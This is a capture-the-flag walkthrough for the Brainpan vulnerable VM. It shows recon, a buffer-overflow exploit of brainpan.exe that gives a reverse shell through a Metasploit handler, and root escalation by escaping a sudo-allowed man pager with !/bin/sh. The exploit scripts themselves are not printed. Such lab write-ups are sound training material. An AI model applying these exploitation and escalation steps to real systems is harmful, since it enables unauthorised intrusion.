_ _
| |__ _ __ __ _(_)_ __ _ __ __ _ _ __
| '_ \| '__/ _` | | '_ \| '_ \ / _` | '_ \
| |_) | | | (_| | | | | | |_) | (_| | | | |
|_.__/|_| \__,_|_|_| |_| .__/ \__,_|_| |_|
|_|
by superkojiman
http://www.techorganic.com
DISCLAIMER
----------
By using this virtual machine, you agree that in no event will I be liable
for any loss or damage including without limitation, indirect or
consequential loss or damage, or any loss or damage whatsoever arising
from loss of data or profits arising out of or in connection with the use
of this software.
TL;DR: If something bad happens, it's not my fault.
SETUP
-----
Brainpan has been tested and found to work on the following hypervisors:
- VMware Player 5.0.1
- VMWare Fusion 5.0
- VirtualBox 4.2.8
Import Brainpan into your preferred hypervisor and configure the network
settings to your needs. It will get an IP address via DHCP, but it's
recommended you run it within a NAT or visible to the host OS only since it
is vulnerable to attacks.
In alternative you can install others sw such as: Immunity Debugger and execute it using Wine on Linux OS or on Windows OS (in this case you should transfer the executable brainpain.exe).
Extract archive downloaded and copy the mona.py file to OllyDBG/ImmDBG PyCommands folder.
Task 1 - Deploy the machine
Deploy attacker machine (Kali) and Brainpain machine on VirtualBox, Vmware or on a compatible emulator:
and check relative IPs:
🐲 Attacker/Kali IP: 192.168.56.7 obtained using ip a
The Brainpain VM is on the same subnet, than we do host discovery with nmap or arp-scan only in our subnet: nmap 192.168.56.0/24
Nmap scan report for 192.168.56.8
Host is up (0.00015s latency).
🎯 Target IP: 192.168.56.8
Create a directory for machine on the Desktop and a directory containing the scans with nmap.
Task 2 - Reconnaissance
su
echo "192.168.56.8 brainpain" >> /etc/hosts
mkdir -p vulnhub/brainpain
cd vulnhub/brainpain
mkdir {nmap,content,exploits,scripts}
# At the end of the room
# To clean up the last line from the /etc/hosts file
sed -i '$ d' /etc/hosts
I prefer to start recon by pinging the target, this allows us to check connectivity and get OS info.
ping -c 3 brainpain
PING brainpain (192.168.56.8) 56(84) bytes of data.
64 bytes from brainpain (192.168.56.8): icmp_seq=1 ttl=64 time=0.670 ms
64 bytes from brainpain (192.168.56.8): icmp_seq=2 ttl=64 time=0.441 ms
64 bytes from brainpain (192.168.56.8): icmp_seq=3 ttl=64 time=0.390 ms
Sending these three ICMP packets, we see that the Time To Live (TTL) is ~64 secs. this indicates that the target is a *nix system, while Windows systems usually have a TTL of 128 secs.
Going to it we find an interesting file exe, that we can download in locally:
Check more info about executable using command file:
file brainpan.exe
brainpan.exe: PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows, 5 sections
that confirms exe windows file. Run it using windows emulator (wine):
wine brainpan.exe
Program was waiting a connection on port 9999, then we can use netcat on localhost and the same port:
nc 127.0.0.1 9999
now we can interact with login shell and insert psw (that we don't know).
Reading first tab page, after psw input we can see output that displays: [get_reply] copied 9 bytes to buffer. It means that program returns output of copied bytes to buffer and we can use it to test potential BoF vulnerability.
Task 3 - BoF Exploitation
3.1 Fuzzing
We can try to test sw using a fuzzer script in python:
Our scope is to overwrite EIP register and put into command to jump to ESP register (where we'll insert our payload/shellcode) and force execution, then we can try to put into EIP register 4 character of letter B (42 hex), using fuzzer below:
We already have control over the EIP, the next step will be to know the BADCHARS. Basically we need to know which characters are bad or invalid for the payload. These characters are those that could interfere with the execution of our payload or cause unexpected behavior.
There are several ways to create them, we can go to Badchars – GitHub and copy the badchars into our script.
All right, ow we need to replace the 400 C's of the ESP with our shellcode:
in the below script to prevent i've add before shellcode a sequence of NOP chars to prevent the inexact memory addresses matter. NOP sleds help align the actual shellcode to a specific memory address. In some cases, the payload needs to be aligned to a particular memory boundary for successful execution. NOP sleds provide a flexible way to achieve this alignment. Of course NOP operations will be not executed and program will pass directly to our shell code inserted into buf variable.
First to execute it, we need to listening it on the same port of shellcode IP and PORT running a multi handler on msfconsole:
Then we can run our shellcode script to brainpain machine (192.168.56.8):
python3 shellcode.py 192.168.56.8
Connection was established on port 5555, and we've obtained a reverse shell
Task 4 - Privilege Escalation
id
uid=1002(puck) gid=1002(puck) groups=1002(puck)
python -c 'import pty; pty.spawn("/bin/bash");'
puck@brainpan:/home/puck$
puck@brainpan:/home/puck$ sudo -l
sudo -l
Matching Defaults entries for puck on this host:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User puck may run the following commands on this host:
(root) NOPASSWD: /home/anansi/bin/anansi_util
We can execute /home/anansi/bin/anansi_util as root:
sudo -u root /home/anansi/bin/anansi_util
The program accepts manual option + command. Taking tentatives i can see that manual refers to linux man function. Then, i can use it to open a man page regarding a command (e.g. ls) and inserit into a !/bin/sh to became root.
sudo -u root /home/anansi/bin/anansi_util manual ls
